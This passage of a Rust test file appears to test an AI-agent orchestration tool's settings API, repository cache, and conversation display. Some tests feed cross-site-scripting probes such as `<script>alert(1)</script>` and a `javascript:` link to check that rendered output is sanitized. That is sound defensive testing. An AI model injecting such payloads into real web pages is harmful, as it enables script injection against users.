11488        );
11489        assert_eq!(
11490            role("reviewers")["editable"],
11491            false,
11492            "default context outside roots must protect its declarations"
11493        );
11494        let body =
11495            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
11496        let unknown = format!("?repo={}", tmp.path().display());
11497        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
11498        assert_eq!(
11499            f.put(&format!("/api/settings/roles{unknown}"), &body)
11500                .await
11501                .status,
11502            422
11503        );
11504        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
11505        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
11506            .to_string();
11507        assert_eq!(
11508            f.put(&format!("/api/settings/roles{query}"), &refuse)
11509                .await
11510                .status,
11511            422
11512        );
11513        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
11514        assert_eq!(saved.status, 200, "{}", saved.body);
11515        assert_eq!(saved.json()["repo"], v["repo"]);
11516        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
11517        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
11518        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
11519            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
11520        }
11521        let error = f
11522            .get(&format!("/api/settings?repo={}", broken.display()))
11523            .await;
11524        assert_eq!(error.status, 200);
11525        assert!(error.json()["error"]["message"].is_string());
11526        assert_eq!(error.json()["repositories"], default["repositories"]);
11527    }
11528
11529    #[tokio::test]
11530    async fn settings_get_reports_sources_and_the_advisors_fallback() {
11531        let (_tmp, repo, machine) =
11532            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
11533        let f = Fixture::with_repo_and_machine(repo, machine).await;
11534        let res = f.get("/api/settings").await;
11535        assert_eq!(res.status, 200, "{}", res.body);
11536        let v = res.json();
11537        assert!(v["error"].is_null(), "{v}");
11538        let role = |k: &str| {
11539            v["roles"]
11540                .as_array()
11541                .and_then(|r| r.iter().find(|x| x["key"] == k))
11542                .cloned()
11543                .unwrap_or_else(|| panic!("no role {k}: {v}"))
11544        };
11545        assert_eq!(role("judges")["source"], "machine");
11546        assert_eq!(role("judges")["editable"], true);
11547        assert_eq!(role("implementers")["source"], "default");
11548        let adv = role("advisors");
11549        assert_eq!(adv["fallback"], "judges");
11550        assert!(
11551            adv["seats"]
11552                .as_array()
11553                .is_some_and(|s| s.iter().all(|x| x == "b")),
11554            "{adv}"
11555        );
11556        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
11557        assert_eq!(v["agents"][0]["source"], "repo");
11558    }
11559
11560    #[tokio::test]
11561    async fn settings_get_reports_a_config_that_does_not_parse() {
11562        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
11563        let f = Fixture::with_repo_and_machine(repo, machine).await;
11564        let res = f.get("/api/settings").await;
11565        assert_eq!(res.status, 200, "{}", res.body);
11566        let v = res.json();
11567        assert!(v["error"]["message"].is_string(), "{v}");
11568        assert!(
11569            v["error"]["path"]
11570                .as_str()
11571                .is_some_and(|p| p.ends_with("magi.toml")),
11572            "{v}"
11573        );
11574        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
11575    }
11576
11577    #[tokio::test]
11578    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
11579        let (_tmp, repo, machine) = settings_dirs(
11580            SETTINGS_AGENTS,
11581            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
11582        );
11583        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
11584        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
11585        let rev = f.get("/api/settings").await.json()["revision"]
11586            .as_str()
11587            .expect("revision")
11588            .to_owned();
11589        let body = serde_json::json!({
11590            "revision": rev,
11591            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
11592        })
11593        .to_string();
11594        let res = f.put("/api/settings/roles", &body).await;
11595        assert_eq!(res.status, 200, "{}", res.body);
11596        let text = std::fs::read_to_string(&machine).expect("machine");
11597        assert_eq!(
11598            text,
11599            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
11600        );
11601        assert_eq!(
11602            std::fs::read(repo.join("magi.toml")).expect("read"),
11603            repo_before
11604        );
11605        let again = f.get("/api/settings").await.json();
11606        let judges = again["roles"]
11607            .as_array()
11608            .expect("roles")
11609            .iter()
11610            .find(|r| r["key"] == "judges")
11611            .expect("judges")
11612            .clone();
11613        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
11614        // The old revision is now stale.
11615        let stale = f.put("/api/settings/roles", &body).await;
11616        assert_eq!(stale.status, 409, "{}", stale.body);
11617    }
11618
11619    #[tokio::test]
11620    async fn settings_counts_are_reported_and_saved() {
11621        let (_tmp, repo, machine) = settings_dirs(
11622            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
11623            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
11624        );
11625        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
11626        let v = f.get("/api/settings").await.json();
11627        let count = |v: &serde_json::Value, k: &str| {
11628            v["roles"]
11629                .as_array()
11630                .and_then(|r| r.iter().find(|x| x["key"] == k))
11631                .map(|x| x["count"].clone())
11632                .unwrap_or_else(|| panic!("no role {k}: {v}"))
11633        };
11634        let imp = count(&v, "implementers");
11635        assert_eq!(imp["value"], 2);
11636        assert_eq!(imp["source"], "machine");
11637        assert_eq!(imp["file_key"], "candidates");
11638        assert_eq!(imp["roster_len"], 2);
11639        assert_eq!(imp["backups"], 0);
11640        assert_eq!(count(&v, "judges")["source"], "default");
11641        assert_eq!(count(&v, "advisors")["min"], 0);
11642        assert_eq!(count(&v, "reviewers")["editable"], false);
11643        assert!(
11644            count(&v, "reviewers")["locked_reason"]
11645                .as_str()
11646                .is_some_and(|m| m.contains("graph.reviewers"))
11647        );
11648        assert!(count(&v, "fixer").is_null());
11649        let rev = v["revision"].as_str().expect("revision").to_owned();
11650        let body = serde_json::json!({
11651            "revision": rev,
11652            "roles": { "judges": ["b"] },
11653            "counts": { "implementers": 1, "advisors": 0 }
11654        })
11655        .to_string();
11656        let res = f.put("/api/settings/roles", &body).await;
11657        assert_eq!(res.status, 200, "{}", res.body);
11658        let text = std::fs::read_to_string(&machine).expect("machine");
11659        assert_eq!(
11660            text,
11661            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
11662        );
11663        let after = f.get("/api/settings").await.json();
11664        assert_eq!(count(&after, "implementers")["value"], 1);
11665        assert_eq!(count(&after, "implementers")["backups"], 1);
11666        assert_eq!(count(&after, "advisors")["value"], 0);
11667        let before = std::fs::read_to_string(&machine).expect("machine");
11668        let rev = after["revision"].as_str().expect("revision").to_owned();
11669        for counts in [
11670            serde_json::json!({ "judges": 0 }),
11671            serde_json::json!({ "judges": "x" }),
11672            serde_json::json!({ "judges": 2.5 }),
11673            serde_json::json!({ "judges": -1 }),
11674            serde_json::json!({ "reviewers": 3 }),
11675            serde_json::json!({ "bogus": 3 }),
11676        ] {
11677            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
11678            let res = f.put("/api/settings/roles", &body).await;
11679            assert_eq!(res.status, 422, "{counts}: {}", res.body);
11680            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
11681        }
11682    }
11683
11684    #[tokio::test]
11685    async fn settings_put_refuses_without_touching_the_file() {
11686        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
11687        let (_tmp, repo, machine) = settings_dirs(
11688            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
11689            Some(machine_text),
11690        );
11691        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
11692        let rev = f.get("/api/settings").await.json()["revision"]
11693            .as_str()
11694            .expect("revision")
11695            .to_owned();
11696        for roles in [
11697            serde_json::json!({ "judges": ["nope"] }),
11698            serde_json::json!({ "reviewers": ["b"] }),
11699            serde_json::json!({ "bogus": ["a"] }),
11700        ] {
11701            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
11702            let res = f.put("/api/settings/roles", &body).await;
11703            assert_eq!(res.status, 422, "{roles}: {}", res.body);
11704            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
11705            assert_eq!(
11706                std::fs::read_to_string(&machine).expect("machine"),
11707                machine_text
11708            );
11709        }
11710    }
11711
11712    #[tokio::test]
11713    async fn repos_list_returns_name_and_path_for_every_configured_root() {
11714        let tmp = TempDir::new().expect("tempdir");
11715        let repo = tmp.path().join("repo");
11716        std::fs::create_dir_all(&repo).expect("repo dir");
11717        let root = tmp.path().join("root");
11718        make_checkout(&root, "github.com", "yukimemi", "magi");
11719        std::fs::write(
11720            repo.join("magi.toml"),
11721            format!(
11722                "[repos]\nroots = [{:?}]\n",
11723                root.to_string_lossy().into_owned()
11724            ),
11725        )
11726        .expect("write magi.toml");
11727
11728        let f = Fixture::with_repo(repo).await;
11729        let res = f.get("/api/repos").await;
11730        assert_eq!(res.status, 200, "{}", res.body);
11731        let list = res.json();
11732        let repos = list.as_array().expect("an array");
11733        assert_eq!(repos.len(), 1);
11734        assert_eq!(repos[0]["name"], "yukimemi/magi");
11735        assert!(
11736            repos[0]["path"]
11737                .as_str()
11738                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
11739            "{list}"
11740        );
11741    }
11742
11743    #[tokio::test]
11744    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
11745        let tmp = TempDir::new().expect("tempdir");
11746        let repo = tmp.path().join("repo");
11747        std::fs::create_dir_all(&repo).expect("repo dir");
11748        let root = tmp.path().join("root");
11749        make_checkout(&root, "github.com", "yukimemi", "magi");
11750        std::fs::write(
11751            repo.join("magi.toml"),
11752            format!(
11753                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
11754                root.to_string_lossy().into_owned()
11755            ),
11756        )
11757        .expect("write magi.toml");
11758
11759        let f = Fixture::with_repo(repo).await;
11760        let first = f.get("/api/repos").await;
11761        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
11762
11763        // A second checkout appears; within the TTL the cached answer must
11764        // not notice it.
11765        make_checkout(&root, "github.com", "yukimemi", "rvpm");
11766        let second = f.get("/api/repos").await;
11767        assert_eq!(
11768            second.json().as_array().map(Vec::len),
11769            Some(1),
11770            "a fresh cache must not rescan inside the TTL"
11771        );
11772
11773        let refreshed = f.get("/api/repos?refresh=1").await;
11774        assert_eq!(
11775            refreshed.json().as_array().map(Vec::len),
11776            Some(2),
11777            "an explicit refresh must rescan even inside the TTL"
11778        );
11779    }
11780
11781    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
11782    /// string, declared straight in a repository's own `magi.toml` rather
11783    /// than the operator's real roster. No real agent CLI is spawned - `sh`
11784    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
11785    /// this is safe to run over a real HTTP round trip.
11786    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
11787
11788    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
11789    /// real `Config::discover` to find an agent - `talk::begin` resolves one
11790    /// even though it takes no turn, and `talk_say` invokes one.
11791    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
11792        let tmp = TempDir::new().expect("tempdir");
11793        let repo = tmp.path().join("repo");
11794        std::fs::create_dir_all(&repo).expect("repo dir");
11795        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11796        let f = Fixture::with_repo(repo.clone()).await;
11797        (tmp, repo, f)
11798    }
11799
11800    #[tokio::test]
11801    async fn posting_a_talk_with_remembered_choices_is_soft() {
11802        let (_tmp, _repo, f) = talk_fixture().await;
11803
11804        let good = f
11805            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
11806            .await;
11807        assert_eq!(good.status, 201, "{}", good.body);
11808        assert_eq!(good.json()["persona"], "rei");
11809
11810        // Wrong values and wrong types are dropped one by one, never a 4xx.
11811        let stale = f
11812            .post(
11813                "/api/talks",
11814                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
11815            )
11816            .await;
11817        assert_eq!(stale.status, 201, "{}", stale.body);
11818        let v = stale.json();
11819        assert_eq!(v["implementers"], 1);
11820        assert_ne!(v["persona"], "nobody");
11821        let typed = f
11822            .post(
11823                "/api/talks",
11824                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
11825            )
11826            .await;
11827        assert_eq!(typed.status, 201, "{}", typed.body);
11828
11829        // The strict `agent` field still refuses an unknown id.
11830        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
11831        assert!(
11832            !strict.status.to_string().starts_with('2'),
11833            "{}",
11834            strict.body
11835        );
11836    }
11837
11838    #[tokio::test]
11839    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
11840        let (_tmp, _repo, f) = talk_fixture().await;
11841
11842        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
11843        // is the ordinary way a phone opens a talk.
11844        let opened = f.post("/api/talks", None).await;
11845        assert_eq!(opened.status, 201, "{}", opened.body);
11846        let body = opened.json();
11847        assert_eq!(body["status"], "open");
11848        assert_eq!(
11849            body["turns"].as_array().unwrap().len(),
11850            0,
11851            "opening takes no agent turn: there is nothing yet to answer"
11852        );
11853
11854        // An explicit empty object is the same request as none at all.
11855        let also_opened = f.post("/api/talks", Some("{}")).await;
11856        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
11857
11858        let listed = f.get("/api/talks").await.json();
11859        assert_eq!(listed.as_array().unwrap().len(), 2);
11860    }
11861
11862    #[tokio::test]
11863    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
11864        let tmp = TempDir::new().expect("tempdir");
11865        let repo = tmp.path().join("repo");
11866        std::fs::create_dir_all(&repo).expect("repo dir");
11867        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
11868        std::fs::write(
11869            repo.join("magi.toml"),
11870            format!("{MOCK_AGENT_TOML}\n{second}"),
11871        )
11872        .expect("write magi.toml");
11873        let home = TempDir::new().expect("temp home");
11874        let talks = Talks::at(home.path().join("talks"));
11875        let ui = Arc::new(
11876            Ui::new(
11877                Queue::at(home.path().join("queue")),
11878                Questions::at(home.path().join("questions")),
11879                talks.clone(),
11880                home.path().join("runs"),
11881                home.path().to_path_buf(),
11882                repo.clone(),
11883            )
11884            .with_worktrees_root(home.path().join("wt")),
11885        );
11886        let cfg = config_for(&repo).await.expect("discover config");
11887        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11888        let id = talk.id.clone();
11889        let call = |agent: &str| {
11890            talk_agent(
11891                State(Arc::clone(&ui)),
11892                Path(id.clone()),
11893                Json(TalkAgent {
11894                    agent: agent.to_owned(),
11895                }),
11896            )
11897        };
11898
11899        let unknown = call("nobody").await.expect_err("unknown agent");
11900        assert_eq!(
11901            unknown.status,
11902            StatusCode::BAD_REQUEST,
11903            "{}",
11904            unknown.message
11905        );
11906
11907        {
11908            // Nothing refused so far took a claim, so the guard is free to take
11909            // and holding it is what makes the talk busy.
11910            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11911            let busy = call("second").await.expect_err("busy talk");
11912            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11913            assert!(
11914                busy.message.contains("a talk turn is running"),
11915                "{}",
11916                busy.message
11917            );
11918            drop(guard);
11919        }
11920        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
11921
11922        let Json(view) = call("second").await.expect("switch");
11923        assert_eq!(view.talk.agent, "second");
11924        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
11925        let saved = talks.get(&id).expect("reload");
11926        assert_eq!(saved.agent, "second");
11927        assert_eq!(saved.turns.len(), 1);
11928        assert!(!view.thinking);
11929        assert!(!ui.is_thinking(&id), "idle response must release the claim");
11930        for agent in ["mock", "second"] {
11931            let Json(view) = call(agent).await.expect("immediate consecutive change");
11932            assert_eq!(view.talk.agent, agent);
11933            assert!(!view.thinking);
11934            assert!(!ui.is_thinking(&id));
11935        }
11936
11937        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11938            .await
11939            .expect("detail");
11940        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
11941        assert_eq!(roster, ["mock", "second"]);
11942
11943        let mut closed = talks.get(&id).expect("reload");
11944        talk::close(&mut closed, &talks).expect("close");
11945        let refused = call("mock").await.expect_err("closed talk");
11946        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
11947        assert!(
11948            refused.message.contains("takes no more turns"),
11949            "{}",
11950            refused.message
11951        );
11952    }
11953
11954    #[tokio::test]
11955    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
11956        let tmp = TempDir::new().expect("tempdir");
11957        let repo = tmp.path().join("repo");
11958        std::fs::create_dir_all(&repo).expect("repo dir");
11959        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11960        let home = TempDir::new().expect("temp home");
11961        let talks = Talks::at(home.path().join("talks"));
11962        let ui = Arc::new(
11963            Ui::new(
11964                Queue::at(home.path().join("queue")),
11965                Questions::at(home.path().join("questions")),
11966                talks.clone(),
11967                home.path().join("runs"),
11968                home.path().to_path_buf(),
11969                repo.clone(),
11970            )
11971            .with_worktrees_root(home.path().join("wt")),
11972        );
11973        let cfg = config_for(&repo).await.expect("discover config");
11974        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11975        let id = talk.id.clone();
11976        let call = |n: u8| {
11977            talk_implementers(
11978                State(Arc::clone(&ui)),
11979                Path(id.clone()),
11980                Json(TalkImplementers { implementers: n }),
11981            )
11982        };
11983
11984        for bad in [0u8, 4] {
11985            let e = call(bad).await.expect_err("out of range");
11986            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
11987        }
11988        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
11989
11990        {
11991            // Nothing refused so far took a claim, so the guard is free to take
11992            // and holding it is what makes the talk busy.
11993            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11994            let busy = call(2).await.expect_err("busy talk");
11995            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11996            assert!(
11997                busy.message.contains("a talk turn is running"),
11998                "{}",
11999                busy.message
12000            );
12001            drop(guard);
12002        }
12003
12004        let Json(view) = call(3).await.expect("switch");
12005        assert_eq!(view.talk.implementers, 3);
12006        assert!(talks.get(&id).expect("reload").implementers_dirty);
12007        assert!(!view.thinking);
12008        assert!(!ui.is_thinking(&id), "idle response must release the claim");
12009        for n in [1, 2, 3] {
12010            let Json(view) = call(n).await.expect("immediate consecutive change");
12011            assert_eq!(view.talk.implementers, n);
12012            assert!(!view.thinking);
12013            assert!(!ui.is_thinking(&id));
12014        }
12015
12016        let mut closed = talks.get(&id).expect("reload");
12017        talk::close(&mut closed, &talks).expect("close");
12018        let e = call(2).await.expect_err("closed talk");
12019        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
12020        assert!(e.message.contains("takes no more turns"), "{}", e.message);
12021    }
12022
12023    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
12024    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
12025        let tmp = TempDir::new().expect("tempdir");
12026        let repo = tmp.path().join("repo");
12027        std::fs::create_dir_all(&repo).expect("repo dir");
12028        std::fs::write(
12029            repo.join("magi.toml"),
12030            format!("{MOCK_AGENT_TOML}\n{extra}"),
12031        )
12032        .expect("write magi.toml");
12033        let home = TempDir::new().expect("temp home");
12034        let talks = Talks::at(home.path().join("talks"));
12035        let ui = Arc::new(
12036            Ui::new(
12037                Queue::at(home.path().join("queue")),
12038                Questions::at(home.path().join("questions")),
12039                talks.clone(),
12040                home.path().join("runs"),
12041                home.path().to_path_buf(),
12042                repo.clone(),
12043            )
12044            .with_worktrees_root(home.path().join("wt")),
12045        );
12046        let cfg = config_for(&repo).await.expect("discover config");
12047        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12048        (tmp, home, ui, talk.id, repo)
12049    }
12050
12051    #[tokio::test]
12052    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
12053        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12054        let mut conversation = ui.talks.get(&id).unwrap();
12055        talk::record(
12056            &mut conversation,
12057            &ui.talks,
12058            "# Update on a task you filed\noperator words",
12059            vec![],
12060        )
12061        .unwrap();
12062        // Simulate an old operator record; headings do not prove authorship.
12063        conversation.turns[0].sender = None;
12064        conversation.turns[0].messages.clear();
12065        ui.talks.put(&mut conversation).unwrap();
12066        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
12067        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
12068        talk::drain(&mut conversation, &ui.talks).unwrap();
12069        talk::record_reply(
12070            &mut conversation,
12071            &ui.talks,
12072            "about that report",
12073            vec![],
12074            Some(talk::ReplyTarget {
12075                turn: 1,
12076                message: 1,
12077            }),
12078        )
12079        .unwrap();
12080        conversation.turns[2].messages[0]
12081            .reply
12082            .as_mut()
12083            .unwrap()
12084            .sender = None;
12085        conversation.turns.push(talk::Turn {
12086            sender: Some(talk::Sender::Persona),
12087            who: talk::Who::Agent,
12088            body: "magi: actual persona words".into(),
12089            at: Timestamp::now(),
12090            attachments: vec![],
12091            usage: None,
12092            breaks: None,
12093            messages: vec![],
12094            posted_by: None,
12095        });
12096        ui.talks.put(&mut conversation).unwrap();
12097        let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12098        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
12099        assert_eq!(
12100            view.talk.turns[1].messages[0].sender,
12101            Some(talk::Sender::Operator)
12102        );
12103        assert_eq!(
12104            view.talk.turns[1].messages[1].sender,
12105            Some(talk::Sender::Magi)
12106        );
12107        assert_eq!(
12108            view.talk.turns[2].messages[0]
12109                .reply
12110                .as_ref()
12111                .unwrap()
12112                .sender,
12113            Some(talk::Sender::Magi)
12114        );
12115        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
12116        assert_eq!(view.turn_messages_md[0].len(), 1);
12117        assert!(view.turn_messages_md[0][0].is_none());
12118        assert!(view.turn_messages_md[1][0].is_none());
12119        assert!(view.turn_messages_md[1][1].is_some());
12120    }
12121
12122    #[tokio::test]
12123    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
12124        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12125        let mut conversation = ui.talks.get(&id).unwrap();
12126        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
12127        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12128        talk::queue_notice(
12129            &mut conversation,
12130            &ui.talks,
12131            &body,
12132            "watch:123",
12133            &|_| false,
12134            None,
12135            display.clone(),
12136        )
12137        .unwrap();
12138        assert!(
12139            !talk::queue_notice(
12140                &mut conversation,
12141                &ui.talks,
12142                &body,
12143                "watch:123",
12144                &|_| false,
12145                None,
12146                display.clone()
12147            )
12148            .unwrap()
12149        );
12150        let saved = ui.talks.get(&id).unwrap();
12151        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
12152        let view = TalkView::with_config(saved, false, None, &ui.home);
12153        assert!(
12154            view.talk.turns[0].messages[0].display.is_none(),
12155            "operator copy stays literal"
12156        );
12157        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
12158        assert!(view.turn_messages_md[0][0].is_none());
12159        let queued_md = view.pending_messages_md[0].clone();
12160        assert_eq!(
12161            queued_md,
12162            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
12163        );
12164        talk::drain(&mut conversation, &ui.talks).unwrap();
12165        talk::record_reply(
12166            &mut conversation,
12167            &ui.talks,
12168            "Explain",
12169            vec![],
12170            Some(talk::ReplyTarget {
12171                turn: 1,
12172                message: 0,
12173            }),
12174        )
12175        .unwrap();
12176        let mut saved = ui.talks.get(&id).unwrap();
12177        assert_eq!(saved.turns[1].messages[0].body, body);
12178        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
12179        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
12180        assert!(!reply.excerpt.contains("automatic report"));
12181        reply.excerpt = body.chars().take(240).collect(); // old saved quote
12182        saved.turns[1].messages[0].display = None; // old MAGI send
12183        ui.talks.put(&mut saved).unwrap();
12184        let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12185        assert_eq!(view.turn_messages_md[1][0], queued_md);
12186        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
12187        assert!(
12188            !view.talk.turns[2].messages[0]
12189                .reply
12190                .as_ref()
12191                .unwrap()
12192                .excerpt
12193                .contains("automatic report")
12194        );
12195        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
12196    }
12197
12198    #[tokio::test]
12199    async fn consultation_display_hides_directives_in_queue_and_history() {
12200        for node in [
12201            "implement",
12202            crate::land::APPROVAL_NODE,
12203            crate::github_text::ASK_NODE,
12204        ] {
12205            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12206            let mut question = Question::new(
12207                "run-123".into(),
12208                node.into(),
12209                "seat-1".into(),
12210                "Which backend?".into(),
12211                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
12212                vec!["SQLite".into(), "Redis".into()],
12213            );
12214            ui.questions.put(&mut question).unwrap();
12215            let body = crate::prompt::chat_consult(&question);
12216            let mut conversation = ui.talks.get(&id).unwrap();
12217            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12218            assert!(
12219                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
12220            );
12221            conversation = ui.talks.get(&id).unwrap();
12222            assert_eq!(conversation.pending_messages[0].body, body);
12223            assert!(body.contains("magi answer"));
12224            let mut legacy_pending = conversation.clone();
12225            legacy_pending.pending_messages[0].display = None;
12226            let legacy_view = TalkView::with_config(legacy_pending, false, None, &ui.home);
12227            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
12228            assert!(legacy_md.contains("Question consultation"));
12229            assert!(!legacy_md.contains("magi answer"));
12230            let view = TalkView::with_config(conversation.clone(), false, None, &ui.home);
12231            assert!(
12232                view.turn_messages_md[0][0].is_none(),
12233                "operator copy stays literal"
12234            );
12235            let queued_md = view.pending_messages_md[0].clone().unwrap();
12236            let rendered = serde_json::to_string(&queued_md).unwrap();
12237            for visible in [
12238                "Which backend?",
12239                "Context",
12240                "storage",
12241                "SQLite",
12242                "Redis",
12243                "<script>literal</script>",
12244            ] {
12245                assert!(rendered.contains(visible), "missing {visible}");
12246            }
12247            for directive in [
12248                "What to do",
12249                "magi answer",
12250                "Never answer it yourself",
12251                "Do not edit the repository",
12252            ] {
12253                assert!(!rendered.contains(directive), "exposed {directive}");
12254            }
12255            assert_eq!(
12256                view.talk.pending_messages[0].display,
12257                Some(crate::prompt::chat_consult_display(&question))
12258            );
12259            talk::drain(&mut conversation, &ui.talks).unwrap();
12260            let view = TalkView::with_config(conversation.clone(), false, None, &ui.home);
12261            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
12262            assert_eq!(conversation.turns[1].messages[0].body, body);
12263
12264            // Historical consultations lack a snapshot: show a safe placeholder
12265            // rather than parsing instructions or reconstructing mutable facts.
12266            conversation.turns[1].messages[0].display = None;
12267            let view = TalkView::with_config(conversation, false, None, &ui.home);
12268            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
12269            assert!(legacy.contains("Question consultation"));
12270            assert!(!legacy.contains("magi answer"));
12271            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
12272        }
12273    }
12274
12275    #[test]
12276    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
12277        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
12278        let (body, mut display) =
12279            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
12280        display.facts = facts.into();
12281        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
12282        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
12283        let json = serde_json::to_string(&nodes).unwrap();
12284        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
12285            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
12286        }
12287        assert!(json.contains("<script>alert(1)</script>"));
12288        assert!(!json.contains("javascript:"));
12289        assert!(!json.contains("Tell the operator"));
12290        assert!(!json.contains("untrusted"));
12291        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
12292        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
12293        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
12294        assert_eq!(
12295            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
12296            md::to_nodes("# Status", &md::ImageBase::None),
12297        );
12298    }
12299
12300    #[tokio::test]
12301    async fn notification_display_recovers_exact_legacy_completion_references() {
12302        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12303        let mut conversation = ui.talks.get(&id).unwrap();
12304        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
12305            id: "task-123",
12306            title: "Change",
12307            status: "done",
